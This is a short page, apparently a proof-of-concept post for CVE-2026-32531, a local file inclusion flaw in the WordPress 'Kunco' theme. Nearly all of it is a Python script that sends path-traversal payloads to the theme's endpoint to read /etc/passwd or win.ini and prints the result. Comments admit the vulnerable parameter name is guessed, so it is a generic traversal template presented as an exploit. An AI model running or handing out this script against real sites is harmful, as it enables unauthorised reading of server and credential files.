CVE-2026-32531 Kunco主题本地文件包含漏洞

import requests # Target URL (Replace with actual vulnerable endpoint) target_url = "http://example.com/wp-content/themes/kunco/" # Vulnerable parameter (Replace 'file' with actual param name if known) # Common payload to read /etc/passwd on Linux systems params = { "file": "../../../../../../../../etc/passwd" } # Another common payload for Windows # params = {"file": "..\\..\\..\\..\\..\\..\\windows\\win.ini"} try: response = requests.get(target_url, params=params, timeout=10) # Check if the response contains indicators of a successful file read if "root:" in response.text or "[extensions]" in response.text: print("[+] Vulnerability confirmed! Sensitive file content found.") print(response.text[:500]) # Print first 500 chars else: print("[-] Vulnerability not confirmed or target patched.") print("Status Code:", response.status_code) except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}")